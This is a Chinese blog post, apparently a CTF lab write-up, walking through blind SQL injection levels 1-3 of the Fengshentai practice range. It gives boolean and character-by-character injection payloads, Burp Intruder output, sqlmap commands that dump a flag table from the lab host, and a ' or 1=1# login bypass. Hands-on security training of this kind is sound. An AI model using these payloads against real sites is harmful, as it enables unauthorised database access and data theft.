




封神台 基础靶场 盲注1-3

原创

星星明亮  于 2021-06-25 10:28:51 发布  209  收藏

分类专栏: [封神台靶场 sql](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_46578840/article/details/118196657

版权



[封神台靶场](#) 同时被 2 个专栏收录

4 篇文章 0 订阅

订阅专栏



[sql](#)

4 篇文章 0 订阅

订阅专栏

第一关

1 and 1=1 //正常

1 and 1=2 //空, 数字型盲注

这里为了节约时间, 用bp爆破

1 and length(database())=12,当前数据库长度为12

Intruder attack 5

攻击 保存 列

结果 目标 位置 有效载荷 选项

过滤器: 显示所有项目

| 请求 | 有效载荷 | 状态 | 错误 | 超时 | 长 | 评论 |
|----|------|-----|--------------------------|--------------------------|------|----|
| 0 | | 200 | <input type="checkbox"/> | <input type="checkbox"/> | 2687 | |
| 12 | 12 | 200 | <input type="checkbox"/> | <input type="checkbox"/> | 2687 | |
| 10 | 10 | 200 | <input type="checkbox"/> | <input type="checkbox"/> | 2656 | |
| 11 | 11 | 200 | <input type="checkbox"/> | <input type="checkbox"/> | 2656 | |
| 13 | 13 | 200 | <input type="checkbox"/> | <input type="checkbox"/> | 2656 | |
| 14 | 14 | 200 | <input type="checkbox"/> | <input type="checkbox"/> | 2656 | |
| 15 | 15 | 200 | <input type="checkbox"/> | <input type="checkbox"/> | 2656 | |
| 16 | 16 | 200 | <input type="checkbox"/> | <input type="checkbox"/> | 2656 | |
| 17 | 17 | 200 | <input type="checkbox"/> | <input type="checkbox"/> | 2656 | |
| 18 | 18 | 200 | <input type="checkbox"/> | <input type="checkbox"/> | 2656 | |
| 19 | 19 | 200 | <input type="checkbox"/> | <input type="checkbox"/> | 2656 | |

请求 响应

Raw 头 Hex HTML Render

```

<p>通过盲注获得flag。 </p>
</li>
<li>
  <p>对该页面进行GET传参，传参名为id</p>
  </li>
  <li>    <h3>数据库查询语句: <h4>select *from news where id=1 and length(database)=12</h4></h3>
  </li><li><h3>查询结果:</h3></li><li>
    <font size="5" color="#99FF00">有数据</font>
  </li>
</ol>
</div>
  
```

https://blog.csdn.net/weixin_46578840

```

1+and+ascii(substr(database(),1,1))+=107 //第一位为k
1+and+ascii(substr(database(),2,1))+=97 //第二位为a
1+and+ascii(substr(database(),3,1))+=110 //第三位为n
1+and+ascii(substr(database(),4,1))+=119 //第四位w
1+and+ascii(substr(database(),5,1))+=111 o
1+and+ascii(substr(database(),6,1))+=108 l
1+and+ascii(substr(database(),7,1))+=111 o
1+and+ascii(substr(database(),8,1))+=110 n
1+and+ascii(substr(database(),9,1))+=103 g
1+and+ascii(substr(database(),10,1))+=120 x
1+and+ascii(substr(database(),11,1))+=105 i
1+and+ascii(substr(database(),12,1))+=97 a//得到数据库名kanwoLongxia
  
```

到这里就用sqlmap了,不在手工了,要劳逸结合嘛,手工太累了

```
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 -p id --threads 50 -D kanwolongxia --table
```

```
3
[22:02:24] [INFO] retrieved: loflag
[22:02:46] [INFO] retrieved: news
[22:03:02] [INFO] retrieved: user
Database: kanwolongxia
[3 tables]
+-----+
| user  |
| loflag|
| news  |
+-----+
https://blog.csdn.net/weixin_46578840
```

可以看到得出了三个表,继续爆字段

个表,继续爆字段

```
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 -p id --threads 50 -D kanwolongxia -T loflag --columns
```

```
Database: kanwolongxia
Table: loflag
[2 columns]
+-----+-----+
| Column | Type          |
+-----+-----+
| flaglo  | varchar(255)  |
| Id      | int(11)       |
+-----+-----+
```

爆字段的值

```
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 -p id --threads 50 -D kanwolongxia -T loflag -C flaglo --dump
```

```
[22:17:57] [INFO] retrieved: zKaQ-time
Database: kanwolongxia
Table: loflag
[5 entries]
+-----+
| flaglo |
+-----+
| zKaQ-Moren |
| zKaQ-QQQ   |
| zKaQ-RD    |
| zKaQ-time-hj |
| zKaQ-time-zw |
+-----+
```

第二关

跟上面的一样,把单引号换成双引号即可

sqlmap也一样

第三关

1' or 1=1# //万能密码即可